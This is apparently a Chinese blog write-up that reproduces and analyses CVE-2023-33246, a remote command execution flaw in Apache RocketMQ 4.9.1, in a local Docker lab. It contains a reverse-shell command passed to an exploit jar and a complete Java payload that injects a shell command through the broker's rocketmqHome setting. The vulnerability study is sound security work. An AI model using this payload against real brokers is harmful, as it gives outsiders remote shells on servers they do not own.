1.了解RocketMQ
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件
下面画个图简单理解一下RocketMQ的消息收发模型
与漏洞相关的点:参考
Broker节点启动后会在NameServer节点进行注册。
DefaultMQAdminExt类可以通过与 NameServer 交互来获取和修改相关配置信息。
FilterServerManager类用于管理过滤服务器(Filter Server)的类。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。(产生漏洞的类)
2.环境搭建
参考RocketMQ 最新漏洞手把手复现 CVE-2023-33246
docker 拉取镜像
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
启动NameServer
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv
创建一个broker配置文件 D:\Temp\conf\broker.conf
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = 127.0.0.1
启动 Broker
docker run -d -p 10911:10911 -p 10909:10909 -v D:/Temp/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动console
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
访问http://127.0.0.1:8080/
使用CVE-2023-33246漏洞利用工具攻击一下试试
java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "bash -i >& /dev/tcp/host.docker.internal/9999 0>&1"
收到反弹的shell
3.漏洞分析
参考:https://mp.weixin.qq.com/s/1GIATpldq29cVTR6Rw_DTw
参考:https://xz.aliyun.com/t/12589
我们通过查看漏洞的补丁,发现FilterServerManager和FilterServerUtil整个文件都被删除了
下载其上一个版本的代码,来分析一下漏洞产生的原因
首先查看被删除的两个文件
public class FilterServerUtil {
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
......
} ......
}
private static String[] splitShellString(final String shellString) {
return shellString.split(" ");
}
}
在FilterServerUtil类的callShell方法中使用了Runtime.getRuntime().exec(cmdArray)
执行系统命令,并且执行的命令来自该函数的形参shellString
这样的话,如果找到一条调用链可以调用到callShell方法,并且参数可控,就可以造成RCE
在FilterServerManager的createFilterServer()中调用了callShell方法
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
createFilterServer方法调用了callShell方法执行命令
createFilterServer方法做了三件事:
获取配置计算了一个int型变量
more
调用
buildStartCommand()
构造一个需要执行的命令的字符串当
more
大于0时,调用了callShell
方法执行命令
private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}
在buildStartCommand()中有问题的是String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(),config);
这一部分
这句代码的作用是获取配置中的RocketmqHome
,然后替换掉sh %s/bin/startfsrv.sh %s
的第一个%s
如果我们能控制配置中的RocketmqHome
,那么就可以拼接上前面的sh
,执行任意命令
给出漏洞的调用链:FilterServerManager.start() --> FilterServerManager.createFilterServer() --> FilterServerUtil.callShell(cmd, log)
4.构造payload
分析完漏洞的原理后,我们来尝试构造payload,通过上面我们得知,
利用漏洞的重要条件是可以控制配置中的RocketmqHome
在第一小节我们了解到DefaultMQAdminExt类可以通过与 NameServer 交互来获取和修改相关配置信息。
DefaultMQAdminExt类的updateBrokerConfig
方法可以更新Broker的配置,需要传一个Broker的地址和一个Properties类型的参数
那么,我们构造payload可以分三步
创建 Properties 对象
设置
rocketmqHome
配置,为我们拼接任意命令使用设置
filterServerNums
配置,要使得more=filterServerNums-filterServerTable.size
大于0
创建DefaultMQAdminExt 对象
更新配置⽂件
public static void main(String[] args) throws Exception {
// 创建 Properties 对象
Properties props = new Properties();
String cmd = "bash -i >& /dev/tcp/host.docker.internal/9999 0>&1";
props.setProperty("rocketmqHome","-c $@|sh . echo " + cmd + ";");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("127.0.0.1:9876");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig("127.0.0.1:10911", props);
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
关于反弹shell的写法可以参照这位大佬